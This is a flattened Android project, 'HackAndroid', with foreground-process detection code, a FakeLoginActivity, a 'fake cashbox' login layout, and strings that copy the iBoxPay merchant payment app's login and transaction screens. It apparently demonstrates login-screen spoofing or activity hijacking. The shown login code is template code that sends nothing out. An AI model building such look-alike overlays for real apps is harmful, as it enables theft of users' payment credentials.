129 | if (state != null && state == START_TASK_TO_FRONT) {//根据这个判断条件从前台中获取当前切换的进程对象.
130 | currentInfo = app;
131 | break;
132 | }
133 | }
134 | }
135 | if (currentInfo != null) {
136 | pkgName = currentInfo.processName;
137 | }
138 | return pkgName;
139 | }
140 | }
141 |
--------------------------------------------------------------------------------
/gradlew:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | ##############################################################################
4 | ##
5 | ## Gradle start up script for UN*X
6 | ##
7 | ##############################################################################
8 |
9 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
10 | DEFAULT_JVM_OPTS=""
11 |
12 | APP_NAME="Gradle"
13 | APP_BASE_NAME=`basename "$0"`
14 |
15 | # Use the maximum available, or set MAX_FD != -1 to use that value.
16 | MAX_FD="maximum"
17 |
18 | warn ( ) {
19 | echo "$*"
20 | }
21 |
22 | die ( ) {
23 | echo
24 | echo "$*"
25 | echo
26 | exit 1
27 | }
28 |
29 | # OS specific support (must be 'true' or 'false').
30 | cygwin=false
31 | msys=false
32 | darwin=false
33 | case "`uname`" in
34 | CYGWIN* )
35 | cygwin=true
36 | ;;
37 | Darwin* )
38 | darwin=true
39 | ;;
40 | MINGW* )
41 | msys=true
42 | ;;
43 | esac
44 |
45 | # Attempt to set APP_HOME
46 | # Resolve links: $0 may be a link
47 | PRG="$0"
48 | # Need this for relative symlinks.
49 | while [ -h "$PRG" ] ; do
50 | ls=`ls -ld "$PRG"`
51 | link=`expr "$ls" : '.*-> \(.*\)$'`
52 | if expr "$link" : '/.*' > /dev/null; then
53 | PRG="$link"
54 | else
55 | PRG=`dirname "$PRG"`"/$link"
56 | fi
57 | done
58 | SAVED="`pwd`"
59 | cd "`dirname \"$PRG\"`/" >/dev/null
60 | APP_HOME="`pwd -P`"
61 | cd "$SAVED" >/dev/null
62 |
63 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
64 |
65 | # Determine the Java command to use to start the JVM.
66 | if [ -n "$JAVA_HOME" ] ; then
67 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
68 | # IBM's JDK on AIX uses strange locations for the executables
69 | JAVACMD="$JAVA_HOME/jre/sh/java"
70 | else
71 | JAVACMD="$JAVA_HOME/bin/java"
72 | fi
73 | if [ ! -x "$JAVACMD" ] ; then
74 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
75 |
76 | Please set the JAVA_HOME variable in your environment to match the
77 | location of your Java installation."
78 | fi
79 | else
80 | JAVACMD="java"
81 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
82 |
83 | Please set the JAVA_HOME variable in your environment to match the
84 | location of your Java installation."
85 | fi
86 |
87 | # Increase the maximum file descriptors if we can.
88 | if [ "$cygwin" = "false" -a "$darwin" = "false" ] ; then
89 | MAX_FD_LIMIT=`ulimit -H -n`
90 | if [ $? -eq 0 ] ; then
91 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
92 | MAX_FD="$MAX_FD_LIMIT"
93 | fi
94 | ulimit -n $MAX_FD
95 | if [ $? -ne 0 ] ; then
96 | warn "Could not set maximum file descriptor limit: $MAX_FD"
97 | fi
98 | else
99 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
100 | fi
101 | fi
102 |
103 | # For Darwin, add options to specify how the application appears in the dock
104 | if $darwin; then
105 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
106 | fi
107 |
108 | # For Cygwin, switch paths to Windows format before running java
109 | if $cygwin ; then
110 | APP_HOME=`cygpath --path --mixed "$APP_HOME"`
111 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
112 | JAVACMD=`cygpath --unix "$JAVACMD"`
113 |
114 | # We build the pattern for arguments to be converted via cygpath
115 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
116 | SEP=""
117 | for dir in $ROOTDIRSRAW ; do
118 | ROOTDIRS="$ROOTDIRS$SEP$dir"
119 | SEP="|"
120 | done
121 | OURCYGPATTERN="(^($ROOTDIRS))"
122 | # Add a user-defined pattern to the cygpath arguments
123 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
124 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
125 | fi
126 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
127 | i=0
128 | for arg in "$@" ; do
129 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
130 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
131 |
132 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
133 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
134 | else
135 | eval `echo args$i`="\"$arg\""
136 | fi
137 | i=$((i+1))
138 | done
139 | case $i in
140 | (0) set -- ;;
141 | (1) set -- "$args0" ;;
142 | (2) set -- "$args0" "$args1" ;;
143 | (3) set -- "$args0" "$args1" "$args2" ;;
144 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
145 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
146 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
147 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
148 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
149 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
150 | esac
151 | fi
152 |
153 | # Split up the JVM_OPTS And GRADLE_OPTS values into an array, following the shell quoting and substitution rules
154 | function splitJvmOpts() {
155 | JVM_OPTS=("$@")
156 | }
157 | eval splitJvmOpts $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS
158 | JVM_OPTS[${#JVM_OPTS[*]}]="-Dorg.gradle.appname=$APP_BASE_NAME"
159 |
160 | exec "$JAVACMD" "${JVM_OPTS[@]}" -classpath "$CLASSPATH" org.gradle.wrapper.GradleWrapperMain "$@"
161 |
--------------------------------------------------------------------------------
/app/src/main/res/values/dimens.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | 16dp
4 | 16dp
5 |
6 | 0.5dp
7 | 50dp
8 | 20dp
9 | 20sp
10 | 20sp
11 | 8dp
12 | 50dp
13 | 210dp
14 | 30dp
15 |
16 | 20sp
17 | 12dip
18 | 2dip
19 | 3dip
20 | 4dip
21 | 5dip
22 | 6dip
23 | 8dip
24 | 7dip
25 | 10dip
26 | 10dip
27 | 12dp
28 | 15dip
29 | 16dip
30 | 18dip
31 | 20dip
32 | 24dip
33 | 25dip
34 | 30dip
35 | 50dip
36 | 120dip
37 | 0dip
38 | 25sp
39 | 14sp
40 | 14sp
41 | 6dip
42 | 180dp
43 | 36dip
44 | 20sp
45 |
46 | 10dip
47 | 52dip
48 | 54dip
49 | 52dip
50 | 12dip
51 | 20dip
52 | 20dp
53 | 16sp
54 | 15sp
55 | 18sp
56 | 9sp
57 | 30sp
58 |
59 |
60 | 22sp
61 | 18sp
62 | 16sp
63 | 14sp
64 |
65 | 8dp
66 |
67 | - 0.6
68 | - 6
69 |
70 |
71 |
72 | 10dp
73 | 12dp
74 | 4dp
75 | 24dp
76 | 12dp
77 |
78 | 40dp
79 | 48dp
80 | 180dp
81 | 14dp
82 | 18dp
83 | 320dp
84 | 32dip
85 | 8dip
86 | 8dip
87 | 296dp
88 | 320dip
89 |
90 |
91 | 32sp
92 | 60dp
93 |
94 |
95 |
96 | 10dp
97 | 6dp
98 | 0dp
99 |
100 |
101 | 70dp
102 | 45dp
103 |
104 | 13sp
105 | 16sp
106 | 15sp
107 | 25sp
108 |
109 | @dimen/payment_status_marginbottom
110 |
111 |
112 | 86dp
113 | 7dp
114 | 145dp
115 | 100dp
116 | 83dp
117 | 8dp
118 | 10dp
119 | 60dp
120 |
121 |
122 | 62dp
123 |
124 |
125 |
--------------------------------------------------------------------------------
/app/src/main/res/layout/activity_fake_cashbox_login.xml:
--------------------------------------------------------------------------------
1 |
13 |
14 |
24 |
25 |
34 |
35 |
36 |
42 |
43 |
48 |
49 |
57 |
58 |
59 |
65 |
66 |
72 |
73 |
78 |
79 |
86 |
87 |
88 |
94 |
95 |
100 |
101 |
102 |
112 |
113 |
125 |
126 |
132 |
133 |
139 |
140 |
149 |
150 |
151 |
152 |
153 |
164 |
165 |
175 |
176 |
177 |
178 |
--------------------------------------------------------------------------------
/app/src/main/java/com/iboxpay/hackandroid/FakeLoginActivity.java:
--------------------------------------------------------------------------------
1 | package com.iboxpay.hackandroid;
2 |
3 | import android.animation.Animator;
4 | import android.animation.AnimatorListenerAdapter;
5 | import android.annotation.TargetApi;
6 | import android.content.pm.PackageManager;
7 | import android.support.annotation.NonNull;
8 | import android.support.design.widget.Snackbar;
9 | import android.support.v7.app.AppCompatActivity;
10 | import android.app.LoaderManager.LoaderCallbacks;
11 |
12 | import android.content.CursorLoader;
13 | import android.content.Loader;
14 | import android.database.Cursor;
15 | import android.net.Uri;
16 | import android.os.AsyncTask;
17 |
18 | import android.os.Build;
19 | import android.os.Bundle;
20 | import android.provider.ContactsContract;
21 | import android.text.TextUtils;
22 | import android.view.KeyEvent;
23 | import android.view.View;
24 | import android.view.View.OnClickListener;
25 | import android.view.inputmethod.EditorInfo;
26 | import android.widget.ArrayAdapter;
27 | import android.widget.AutoCompleteTextView;
28 | import android.widget.Button;
29 | import android.widget.EditText;
30 | import android.widget.TextView;
31 | import java.util.ArrayList;
32 | import java.util.List;
33 |
34 | import static android.Manifest.permission.READ_CONTACTS;
35 |
36 | /**
37 | * A login screen that offers login via email/password.
38 | */
39 | public class FakeLoginActivity extends AppCompatActivity implements LoaderCallbacks {
40 |
41 | /**
42 | * Id to identity READ_CONTACTS permission request.
43 | */
44 | private static final int REQUEST_READ_CONTACTS = 0;
45 |
46 | /**
47 | * A dummy authentication store containing known user names and passwords.
48 | * TODO: remove after connecting to a real authentication system.
49 | */
50 | private static final String[] DUMMY_CREDENTIALS = new String[]{
51 | "foo@example.com:hello", "bar@example.com:world"
52 | };
53 | /**
54 | * Keep track of the login task to ensure we can cancel it if requested.
55 | */
56 | private UserLoginTask mAuthTask = null;
57 |
58 | // UI references.
59 | private AutoCompleteTextView mEmailView;
60 | private EditText mPasswordView;
61 | private View mProgressView;
62 | private View mLoginFormView;
63 |
64 | @Override
65 | protected void onCreate(Bundle savedInstanceState) {
66 | super.onCreate(savedInstanceState);
67 | setContentView(R.layout.activity_fake_login);
68 | // Set up the login form.
69 | mEmailView = (AutoCompleteTextView) findViewById(R.id.email);
70 | populateAutoComplete();
71 |
72 | mPasswordView = (EditText) findViewById(R.id.password);
73 | mPasswordView.setOnEditorActionListener(new TextView.OnEditorActionListener() {
74 | @Override
75 | public boolean onEditorAction(TextView textView, int id, KeyEvent keyEvent) {
76 | if (id == R.id.login || id == EditorInfo.IME_NULL) {
77 | attemptLogin();
78 | return true;
79 | }
80 | return false;
81 | }
82 | });
83 |
84 | Button mEmailSignInButton = (Button) findViewById(R.id.email_sign_in_button);
85 | mEmailSignInButton.setOnClickListener(new OnClickListener() {
86 | @Override
87 | public void onClick(View view) {
88 | attemptLogin();
89 | }
90 | });
91 |
92 | mLoginFormView = findViewById(R.id.login_form);
93 | mProgressView = findViewById(R.id.login_progress);
94 | }
95 |
96 | private void populateAutoComplete() {
97 | if (!mayRequestContacts()) {
98 | return;
99 | }
100 |
101 | getLoaderManager().initLoader(0, null, this);
102 | }
103 |
104 | private boolean mayRequestContacts() {
105 | if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) {
106 | return true;
107 | }
108 | if (checkSelfPermission(READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
109 | return true;
110 | }
111 | if (shouldShowRequestPermissionRationale(READ_CONTACTS)) {
112 | Snackbar.make(mEmailView, R.string.permission_rationale, Snackbar.LENGTH_INDEFINITE)
113 | .setAction(android.R.string.ok, new View.OnClickListener() {
114 | @Override
115 | @TargetApi(Build.VERSION_CODES.M)
116 | public void onClick(View v) {
117 | requestPermissions(new String[]{READ_CONTACTS}, REQUEST_READ_CONTACTS);
118 | }
119 | });
120 | } else {
121 | requestPermissions(new String[]{READ_CONTACTS}, REQUEST_READ_CONTACTS);
122 | }
123 | return false;
124 | }
125 |
126 | /**
127 | * Callback received when a permissions request has been completed.
128 | */
129 | @Override
130 | public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
131 | @NonNull int[] grantResults) {
132 | if (requestCode == REQUEST_READ_CONTACTS) {
133 | if (grantResults.length == 1 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
134 | populateAutoComplete();
135 | }
136 | }
137 | }
138 |
139 |
140 | /**
141 | * Attempts to sign in or register the account specified by the login form.
142 | * If there are form errors (invalid email, missing fields, etc.), the
143 | * errors are presented and no actual login attempt is made.
144 | */
145 | private void attemptLogin() {
146 | if (mAuthTask != null) {
147 | return;
148 | }
149 |
150 | // Reset errors.
151 | mEmailView.setError(null);
152 | mPasswordView.setError(null);
153 |
154 | // Store values at the time of the login attempt.
155 | String email = mEmailView.getText().toString();
156 | String password = mPasswordView.getText().toString();
157 |
158 | boolean cancel = false;
159 | View focusView = null;
160 |
161 | // Check for a valid password, if the user entered one.
162 | if (!TextUtils.isEmpty(password) && !isPasswordValid(password)) {
163 | mPasswordView.setError(getString(R.string.error_invalid_password));
164 | focusView = mPasswordView;
165 | cancel = true;
166 | }
167 |
168 | // Check for a valid email address.
169 | if (TextUtils.isEmpty(email)) {
170 | mEmailView.setError(getString(R.string.error_field_required));
171 | focusView = mEmailView;
172 | cancel = true;
173 | } else if (!isEmailValid(email)) {
174 | mEmailView.setError(getString(R.string.error_invalid_email));
175 | focusView = mEmailView;
176 | cancel = true;
177 | }
178 |
179 | if (cancel) {
180 | // There was an error; don't attempt login and focus the first
181 | // form field with an error.
182 | focusView.requestFocus();
183 | } else {
184 | // Show a progress spinner, and kick off a background task to
185 | // perform the user login attempt.
186 | showProgress(true);
187 | mAuthTask = new UserLoginTask(email, password);
188 | mAuthTask.execute((Void) null);
189 | moveTaskToBack(true); //activity 栈归位
190 | }
191 | }
192 |
193 | private boolean isEmailValid(String email) {
194 | //TODO: Replace this with your own logic
195 | return email.contains("@");
196 | }
197 |
198 | private boolean isPasswordValid(String password) {
199 | //TODO: Replace this with your own logic
200 | return password.length() > 4;
201 | }
202 |
203 | /**
204 | * Shows the progress UI and hides the login form.
205 | */
206 | @TargetApi(Build.VERSION_CODES.HONEYCOMB_MR2)
207 | private void showProgress(final boolean show) {
208 | // On Honeycomb MR2 we have the ViewPropertyAnimator APIs, which allow
209 | // for very easy animations. If available, use these APIs to fade-in
210 | // the progress spinner.
211 | if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB_MR2) {
212 | int shortAnimTime = getResources().getInteger(android.R.integer.config_shortAnimTime);
213 |
214 | mLoginFormView.setVisibility(show ? View.GONE : View.VISIBLE);
215 | mLoginFormView.animate().setDuration(shortAnimTime).alpha(
216 | show ? 0 : 1).setListener(new AnimatorListenerAdapter() {
217 | @Override
218 | public void onAnimationEnd(Animator animation) {
219 | mLoginFormView.setVisibility(show ? View.GONE : View.VISIBLE);
220 | }
221 | });
222 |
223 | mProgressView.setVisibility(show ? View.VISIBLE : View.GONE);
224 | mProgressView.animate().setDuration(shortAnimTime).alpha(
225 | show ? 1 : 0).setListener(new AnimatorListenerAdapter() {
226 | @Override
227 | public void onAnimationEnd(Animator animation) {
228 | mProgressView.setVisibility(show ? View.VISIBLE : View.GONE);
229 | }
230 | });
231 | } else {
232 | // The ViewPropertyAnimator APIs are not available, so simply show
233 | // and hide the relevant UI components.
234 | mProgressView.setVisibility(show ? View.VISIBLE : View.GONE);
235 | mLoginFormView.setVisibility(show ? View.GONE : View.VISIBLE);
236 | }
237 | }
238 |
239 | @Override
240 | public Loader onCreateLoader(int i, Bundle bundle) {
241 | return new CursorLoader(this,
242 | // Retrieve data rows for the device user's 'profile' contact.
243 | Uri.withAppendedPath(ContactsContract.Profile.CONTENT_URI,
244 | ContactsContract.Contacts.Data.CONTENT_DIRECTORY), ProfileQuery.PROJECTION,
245 |
246 | // Select only email addresses.
247 | ContactsContract.Contacts.Data.MIMETYPE +
248 | " = ?", new String[]{ContactsContract.CommonDataKinds.Email
249 | .CONTENT_ITEM_TYPE},
250 |
251 | // Show primary email addresses first. Note that there won't be
252 | // a primary email address if the user hasn't specified one.
253 | ContactsContract.Contacts.Data.IS_PRIMARY + " DESC");
254 | }
255 |
256 | @Override
257 | public void onLoadFinished(Loader cursorLoader, Cursor cursor) {
258 | List emails = new ArrayList<>();
259 | cursor.moveToFirst();
260 | while (!cursor.isAfterLast()) {
261 | emails.add(cursor.getString(ProfileQuery.ADDRESS));
262 | cursor.moveToNext();
263 | }
264 |
265 | addEmailsToAutoComplete(emails);
266 | }
267 |
268 | @Override
269 | public void onLoaderReset(Loader cursorLoader) {
270 |
271 | }
272 |
273 | private void addEmailsToAutoComplete(List emailAddressCollection) {
274 | //Create adapter to tell the AutoCompleteTextView what to show in its dropdown list.
275 | ArrayAdapter adapter =
276 | new ArrayAdapter<>(FakeLoginActivity.this,
277 | android.R.layout.simple_dropdown_item_1line, emailAddressCollection);
278 |
279 | mEmailView.setAdapter(adapter);
280 | }
281 |
282 |
283 | private interface ProfileQuery {
284 | String[] PROJECTION = {
285 | ContactsContract.CommonDataKinds.Email.ADDRESS,
286 | ContactsContract.CommonDataKinds.Email.IS_PRIMARY,
287 | };
288 |
289 | int ADDRESS = 0;
290 | int IS_PRIMARY = 1;
291 | }
292 |
293 | /**
294 | * Represents an asynchronous login/registration task used to authenticate
295 | * the user.
296 | */
297 | public class UserLoginTask extends AsyncTask {
298 |
299 | private final String mEmail;
300 | private final String mPassword;
301 |
302 | UserLoginTask(String email, String password) {
303 | mEmail = email;
304 | mPassword = password;
305 | }
306 |
307 | @Override
308 | protected Boolean doInBackground(Void... params) {
309 | // TODO: attempt authentication against a network service.
310 |
311 | try {
312 | // Simulate network access.
313 | Thread.sleep(2000);
314 | } catch (InterruptedException e) {
315 | return false;
316 | }
317 |
318 | for (String credential : DUMMY_CREDENTIALS) {
319 | String[] pieces = credential.split(":");
320 | if (pieces[0].equals(mEmail)) {
321 | // Account exists, return true if the password matches.
322 | return pieces[1].equals(mPassword);
323 | }
324 | }
325 |
326 | // TODO: register the new account here.
327 | return true;
328 | }
329 |
330 | @Override
331 | protected void onPostExecute(final Boolean success) {
332 | mAuthTask = null;
333 | showProgress(false);
334 |
335 | if (success) {
336 | finish();
337 | } else {
338 | mPasswordView.setError(getString(R.string.error_incorrect_password));
339 | mPasswordView.requestFocus();
340 | }
341 | }
342 |
343 | @Override
344 | protected void onCancelled() {
345 | mAuthTask = null;
346 | showProgress(false);
347 | }
348 | }
349 | }
350 |
351 |
--------------------------------------------------------------------------------
/app/src/main/res/values/attrs.xml:
--------------------------------------------------------------------------------
1 |
2 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
213 |
214 |
215 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
278 |
279 |
280 |
281 |
282 |
--------------------------------------------------------------------------------
/app/src/main/res/values/strings.xml:
--------------------------------------------------------------------------------
1 |
2 | HackAndroid
3 |
4 | Sign in
5 |
6 |
7 | Email
8 | Password (optional)
9 | Sign in or register
10 | Sign in
11 | This email address is invalid
12 | This password is too short
13 | This password is incorrect
14 | This field is required
15 | "Contacts permissions are needed for providing email
16 | completions."
17 |
18 |
19 |
20 |
21 | ]]>
22 |
23 |
24 | 未知错误,请联系客服
25 |
26 |
27 | 输入登录账号
28 | 输入密码
29 | 记住密码
30 | 忘记密码?
31 | 忘记密码
32 | 登\u0020\u0020录
33 | 服务热线:\u0020\u00201010 9888
34 | 账号格式错,请输入手机号或邮箱账号
35 | 密码格式错误(6–20个英文字母或数字组成)
36 | 数据解析异常,请联系客服
37 | 账户不存在
38 | 登录失败,请联系客服
39 | 账户审核中
40 | 密码错误,请重新输入
41 | 账号被禁用
42 |
43 |
44 | 消息
45 | 我
46 |
47 |
48 | 消息
49 |
50 |
51 |
52 | 手机号码
53 | 登录账号默认为商户手机号,部分商户登录账号格式为“手机号#01”
54 | 手机号码不能为空
55 | 手机号码格式错误
56 | 请输入您的登录账号
57 | 登录账号非法
58 |
59 |
60 | 我们已发送验证码短信到您的手机%1$s,请输入短信中的验证码
61 | 请输入验证码
62 | 验证码已发送,请查看手机
63 | 请先获取验证码
64 | 验证码格式不对
65 | 验证手机号码
66 |
67 |
68 |
69 | 身份证号码(字母请用*代替)
70 | 为了确认您的身份,请提供商户在开通服务时所登记的身份证号码。(字母请用*代替)
71 | 身份证不能为空
72 | 身份证格式错误,请输入18位二代身份证号
73 | 验证中……
74 | 身份证号码不正确,请重新输入
75 |
76 |
77 | 再次确认密码
78 | 修改密码
79 | 重置密码失败
80 | 你两次输入的密码不一致
81 | 密码不能为空
82 | 确认密码不能为空
83 | 密码由6–20位英文或数字组成
84 | 修改成功,请重新登录
85 |
86 |
87 | 通刷宝系列
88 | 603系列刷卡器
89 | 选择设备类型
90 | 切换音频
91 | 切换蓝牙
92 | 蓝牙连接失败
93 |
94 |
95 | 已阅读并同意开通
96 | 什么是T+0到账?
97 | 什么是T+0实时到账?
98 |
99 | 正在上传申请协议
100 | 开通成功
101 |
102 |
103 | 请插入设备
104 | 注意事项\n1.请保持网络通畅\n2.请将刷卡器插入耳机孔\n3.请保持刷卡器有充足电量
105 |
106 | 注意事项\n1.请保持设备开机且电量充足\n2.手机与设备请保持在5米范围内\n3.请保持手机网络顺畅\n4.请打开手机蓝牙开关\n5.蓝牙扫描设备需要定位权限
107 |
108 |
109 | 您可以尝试\n1.请重启手机蓝牙\n2.检查设备是否已开机\n3.检查手机网络是否稳定\n4.在手机设置中,取消蓝牙配对,并重新开启应用
110 |
111 |
112 | 1.请保持打印机开机且电量充足\n2.手机与打印机请保持在5米内\n3.请保持手机网络顺畅\n4.请打开蓝牙开关
113 |
114 | 正在开启蓝牙
115 | 点击重新扫描
116 | 搜索中
117 | 认证成功
118 | 认证失败
119 | 建立连接
120 | 断开连接
121 | 设备异常
122 | 蓝牙连接失败
123 | 音频设备插入
124 | 音频设备拔出
125 | 认证中
126 |
127 | 您本次消费:
128 |
129 | 刷卡时保持设备稳定连接,银行卡卡面朝上,平稳匀速刷卡。若遇刷卡无反应或提示刷卡失败,请稍后重新刷卡即可
130 |
131 | 插卡时将芯片部分朝上插入卡槽,若遇插卡无反应或提示插卡失败,请重新插卡
132 | 请稍候\u2026
133 | 刷卡成功
134 | 请插入IC卡进行交易,纯磁条卡请再次刷卡
135 | 撤销交易:
136 | 余额查询
137 | 请刷卡
138 | 请刷卡或插卡
139 | 点击任意位置返回
140 | 持金融IC复合卡(含芯片与磁条)在POS上使用时将禁止刷磁条,只能使用芯片交易
141 | 温馨提示:如果纯磁条卡被误判为IC复合卡,请再次刷卡即可进行交易
142 | 刷卡失败,请重刷
143 |
144 |
145 | 选择交易币种
146 | Please let the cardholder choose the transaction currency.
147 | 请持卡人选择交易币种
148 | Exchange rate: 1%$1s = %$2sCNY
149 | 汇率: 1%$1s = %$2s人民币
150 |
151 |
152 | T+0今天到账
153 | S+0实时到账
154 | 余额查询
155 | ¥%1$s
156 | .%1$s
157 | ●
158 |
159 |
160 | 商家已确认签名与卡背面的签名一致
161 | 重新签名
162 | 消费者请在此签名
163 | 本人确认以上交易,同意将其计入本卡账户
164 | 商家确认签名
165 | 您本次撤销
166 | 您本次消费
167 | %1$s元
168 |
169 | 建立连接
170 | 上传加密数据
171 | (%1$s秒)
172 | %1$s秒
173 | 获取交易结果
174 | 输入密码不正确
175 | 您输错密码的次数过多,请换一张卡消费
176 | 取消交易
177 | 换一张卡
178 | %1$s[代码:%2$s]\n请重试或联系客服1010 9888
179 | 交易结果未知
180 | 该笔交易失败,请您重新操作。如有其它疑问,请您联系官方客服1010 9888
181 | 网络异常,请您进入“我-我的账本”查看订单最终状态
182 | 交易状态
183 | 抱歉交易超时,请进入账本查看交易详情
184 | 错误码:%1$s
185 |
186 |
187 | 商户存根
188 | MERCHANT COPY
189 | 持卡人存根
190 | CARDHOLDER COPY
191 | MERCHANT NAME \n商户名称
192 | ACQ\n收单行
193 | CARD NO.\n卡号
194 | ISS\n发卡行
195 | MERCHANT NO.\n商户编号
196 | TERMINAL ID\n终端编号
197 | OPERATOR NO.\n操作员号
198 | TRANS TYPE\n交易类型
199 | BATCH NO.\n批次号
200 | AUTH NO.\n授权号
201 | REFER NO.\n参考号
202 | 撤销交易
203 | TRACE NO.\n流水号
204 | DATE/TIME\n交易日期/时间
205 | AMOUNT\n金额
206 | CARDHOLDER SIGNATURE\n签名
207 | REFERENCE\n备注
208 | 签购单
209 | 返回主页
210 |
211 |
212 | 联系客服
213 | 确 认
214 | 交易成功
215 | 交易结果未知
216 | 暂未获取交易结果
217 | 撤销结果未知
218 | 请您进入“我”->“我的账本”中查询该笔交易状态。如需帮助,请联系客服
219 | 1010 9888
220 | 服务中心
221 |
222 |
223 | 发现新版本
224 |
225 |
226 | 网络连接超时,请稍候再试
227 | 未检测到可用网络
228 |
229 |
230 | 返回
231 | 下一步
232 | 二维码收款
233 | 请输入身份证号码(X用*号代替)
234 | 收单服务由易生支付提供\nCopyright © 2011–2017 iBoxPay.All Rights Reserved
235 | 网络状态不佳,请稍后再试
236 | 知道了
237 | 注册
238 | 登录
239 | 取消
240 | 确定
241 | 请稍等…
242 | 登录超时,请重新登录
243 | 未知
244 | 法人身份认证
245 |
246 |
247 | ¥{value}
248 | .{value}
249 | ¥0
250 | .00
251 | 刷\n卡\n收\n款
252 | 服务
253 | 更多
254 | tel:10109888
255 | 交易失败
256 |
257 |
258 | 抱歉, 出错了
259 |
260 |
261 | 请输入登录密码
262 | 密码格式错误(6–20个英文字母或数字组成)
263 |
264 |
265 |
266 |
267 |
268 | 版本信息:\n{version_info}\n升级包大小:{package_size}\n新版本号:{new_version_number}
269 |
270 | 下载安装
271 | 下载失败,请检查你的网络是否正常,确保能成功下载请到WIFI环境下进行
272 |
273 | 下载中
274 | 重试下载
275 |
276 |
277 |
278 |
279 |
280 |
281 | 我的信息
282 | 我的账本
283 | 消息中心
284 | 帮助
285 | 盒子介绍
286 | 服务协议
287 | 我的收银员
288 | 我的设备
289 | 修改密码
290 | 常用帮助
291 | 阅读协议
292 | 申请刷卡机
293 | 账户安全险
294 |
295 | 蓝牙连接刷卡器
296 | 音频连接刷卡器
297 | 当前版本:V%1$s
298 |
299 |
300 | 下拉刷新…
301 | 放开后刷新数据…
302 | 正在载入…
303 | @string/pull_to_refresh_pull_label
304 |
305 | @string/pull_to_refresh_release_label
306 |
307 |
308 | @string/pull_to_refresh_refreshing_label
309 |
310 |
311 |
312 | 确认退出登录吗?
313 | 正在注销\u2026
314 |
315 |
316 | 版本更新
317 | 有新版本:%1$s
318 | 已是最新版本
319 |
320 |
321 | 请输入登录密码
322 | 关于钱盒
323 | 我的信息
324 |
325 |
326 | 头像
327 | 收款卡号
328 | 安全退出
329 | 商户号
330 | 绑定手机
331 | 商户名
332 | 额度与费率
333 | 拍照
334 | 从相册选取
335 | 请使用店长账号%1$s申请开通T+0
336 |
337 |
338 | 开通
339 | 开通T+0
340 | 获取验证码
341 | 请获取验证码
342 | 验证码过期
343 | 验证码不匹配
344 | 开通T+0到账业务需验证店长的手机号
345 | 发送成功,请查收
346 | 发送失败,请重试
347 |
348 | 意见反馈
349 | 完成
350 | 加载中...
351 | 确认退出钱盒吗?
352 | WebViewTestActivity
353 | 支付宝收款
354 | 微信收款
